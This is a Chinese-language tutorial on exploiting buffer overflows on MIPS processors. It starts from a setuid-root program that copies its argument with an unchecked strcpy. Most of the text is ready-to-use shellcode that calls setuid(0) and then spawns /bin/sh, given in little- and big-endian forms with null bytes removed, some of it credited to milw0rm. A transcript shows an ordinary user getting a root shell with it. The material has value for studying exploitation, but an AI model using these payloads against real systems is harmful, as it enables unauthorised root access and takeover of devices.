MIPS 缓冲区溢出
有这样一个可执行程序 vic,它的属性为:
-rwsr-xr-x 1 root comcat vic
它的拥有者是root,普通用户可以执行且执行时具有拥有者的权限(如系统中的 /usr/bin/passwd)。假设它的设计者把代码写成如下:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[100];
if(argc>1)
strcpy(buf, argv[1]);
return 0;
}
其在main函数的栈上开辟了一个100字节的缓冲区。在 Linux 下,当一个函数调用其他函数时(非leaf函数)会将返回地址保存在栈上,而且就在buf上面不远处!
如果我们将下面这段代码改造,编译后,获取其机器码,然后转成字符串,且将该字符串的始地址作为参数传给 vic 之 main(),则其会将保存在栈上的返回地址覆盖成该字符串的起始处,那么当main函数返回时,将跳到我们构造的代码处,获取到一个具有root权限的shell:
char *name[2];
setuid(0);
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
其在 MIPS 上对应的机器机器码为:
4002e0: 00842026 xor a0,a0,a0 4002e4: 24020fb7 li v0,4023 4002e8: 0000000c syscall 4002ec: 3c086e69 lui t0,0x6e69 4002f0: 3508622f ori t0,t0,0x622f 4002f4: 3c090068 lui t1,0x68 4002f8: 3529732f ori t1,t1,0x732f 4002fc: afa80000 sw t0,0(sp) 400300: afa90004 sw t1,4(sp) 400304: afbd0008 sw sp,8(sp) 400308: afa0000c sw zero,12(sp) 40030c: 03a02021 move a0,sp 400310: 23a50008 addi a1,sp,8 400314: 00003021 move a2,zero 400318: 24020fab li v0,4011 40031c: 0000000c syscall
则:
int shellcode_mips[]=
{
0x00842026,
0x24020fb7,
0x0000000c,
0x3c086e69,
0x3508622f,
0x3c090068,
0x3529732f,
0xafa80000,
0xafa90004,
0xafbd0008,
0xafa0000c,
0x03a02021,
0x23a50008,
0x00003021,
0x24020fab,
0x0000000c
};
上面的思路在 x86 这类 CISC 上没有任何问题,因 x86 上对指令的编码极其紧凑,但对 MIPS 这类 RISC 处理器则有些困难,因为我们要构造一个字符串通过命令行参数传给 vic 之 main () ,而字符串之结尾是为一个 "0x00" (NULL) ,这个字节在 MIPS 的指令编码里随处可见,如 MIPS 上触发 system call 之 syscall 指令编码为 0x0000000c,其放在一个字符串里就是3个0x00,这个是在 MIPS 上构造 shellcode 之困难。
鉴于 MIPS 本身的设计,在其上构造 shellcode 需要死更多的脑细胞:
char shellcode[] = {
"\x50\x73\x06\x24" /* li a2,0x7350 */
"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li $t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2, $0,-1 */
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xd7\xff\x0f\x24" /* li t7,-41 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xe8\xff\xa4\xaf" /* sw a0,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\xe8\xff\xa5\x23" /* addi a1,sp,-24 */
"\xab\x0f\x02\x24" /* li v0,4011 */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh"
};
构造的基本思想就是避免指令编码里出现 0x00,如 syscall 的编码一般为 0x0000000c,据 MIPS 规范,其编码的有效位为高 6 位(皆为 0)和低 6 位(为 0xc)中间 20 位是留给软件的 code 位,硬件不对这 20 位进行解码,因此就可以将其编码为 0x0101010c 或者 0x034748cc 皆可避免 0x00。
上面这段代码来自一个 Email 为:vaicebine at gmail dot com 兄弟,参考:http://www.milw0rm.com/shellcode/6265
此为小端 MIPS 所用,大端 MIPS 为:
char shellcode[] = {
"\x24\x06\x73\x50" /* li a2,0x7350 */
"\x04\xd0\xff\xff" /* LB: bltzal a2,LB */
"\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */
"\x28\x06\xff\xff" /* slti a2, $0,-1 */
"\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */
"\x24\x0f\xff\xd7" /* li t7,-41 */
"\x01\xe0\x78\x27" /* nor t7,t7,zero */
"\x03\xef\x20\x21" /* addu a0,ra,t7 */
"\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */
"\xaf\xa0\xff\xec" /* sw zero,-20(sp) */
"\x23\xa5\xff\xe8" /* addi a1,sp,-24 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall */
"/bin/sh"
};
上述大端 shellcode 在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试通过:
test@localhost:/home/test> cat cool.c
#include <stdio.h>
char shellcode[] = {
"\x30\x04\xff\xff" /* andi a0, zero, 0xffff */
"\x30\x05\xff\xff" /* andi a1, zero, 0xffff */
"\x34\x02\x0f\xe6" /* li v0, 0xfe6 */
"\x03\x49\x48\xcc" /* syscall 0xd2523 */
"\x24\x06\x73\x50" /* li a2,0x7350 */
"\x04\xd0\xff\xff" /* LB: bltzal a2,LB */
"\x24\x0f\x73\x50" /* li $t7,0x7350 (nop) */
"\x28\x06\xff\xff" /* slti a2, $0,-1 */
"\x27\xbd\xff\xe0" /* addiu sp,sp,-32 */
"\x24\x0f\xff\xd7" /* li t7,-41 */
"\x01\xe0\x78\x27" /* nor t7,t7,zero */
"\x03\xef\x20\x21" /* addu a0,ra,t7 */
"\xaf\xa4\xff\xe8" /* sw a0,-24(sp) */
"\xaf\xa0\xff\xec" /* sw zero,-20(sp) */
"\x23\xa5\xff\xe8" /* addi a1,sp,-24 */
"\x24\x02\x0f\xab" /* li v0,4011 */
"\x01\x01\x01\x0c" /* syscall */
"/bin/sh"
};
int main(int argc, char *argv[])
{
void (*p)(void);
p = shellcode;
printf("shellcode size %d\n", sizeof(shellcode));
printf("shellcode addr 0x%08x\n", shellcode);
p();
return 0;
}
test@localhost:/home/test> ls -lh
total 8.0K
-rwsr-xr-x 1 root test 5.9K Sep 1 2009 cool
test@localhost:/home/test> id
uid=500(test) gid=500(test) groups=500(test)
test@localhost:/home/test> ./cool
shellcode size 76
shellcode addr 0x10010970
sh-3.2# id
uid=0(root) gid=500(test) groups=500(test)
sh-3.2# cat /proc/cpuinfo
system type : EBT5800 (CN5860p2.3-800-NSP)
processor : 0
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
processor : 1
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
......
......
......
processor : 15
cpu model : Cavium Octeon V0.11
BogoMIPS : 1601.82
wait instruction : yes
microsecond timers : yes
tlb_entries : 64
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented :
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available
在 RMI XLR732 上得到 "Segmentation fault",经查发现是因为 XLR732 的内核加了一个 fast system call 的特性,其使用 syscall 指令之中间 20 位 code 域来加速 system call 的处理,因此类似 0x0101010c 的编码会让内核进入一个不可用的入口地址处导致内存保护异常
此外,还有一可用 shellcode 为:
char shellcode2[] = {
"\x30\x04\xff\xff" /* andi a0, zero, 0xffff */
"\x30\x05\xff\xff" /* andi a1, zero, 0xffff */
"\x34\x02\x0f\xe6" /* li v0, 0xfe6 */
"\x03\x49\x48\xcc" /* syscall 0xd2523 */
"\x04\x10\xff\xff" /* LB: bltzal zero, LB */
"\x24\x02\x0f\xab" /* li v0, 4011 */
"\x20\x46\xf0\x55" /* addi a2, v0, -4011 */
"\x23\xff\x06\x66" /* addi ra, ra, 1638 */
"\x23\xec\xf9\xc2" /* addi t0, ra, -1598 */
"\x23\xbd\x06\x66" /* addi sp, sp, 1638 */
"\xaf\xac\xf9\x9a" /* sw t0, -1638(sp) */
"\xaf\xa6\xf9\x9e" /* sw a2, -1634(sp) */
"\x23\xbd\xf9\x9a" /* addi sp, sp, -1638 */
"\x01\x80\x20\x21" /* move a0, t0 */
"\x03\xa0\x28\x21" /* move a1, sp */
"\x03\x44\xcd\xcc" /* syscall 0xd1337 */
"/bin/sh"
};
这段代码来自:http://www.milw0rm.com/shellcode/1306
在 NEC EMMA3p 和 Cavium Octeon cn5800 上测试也通过。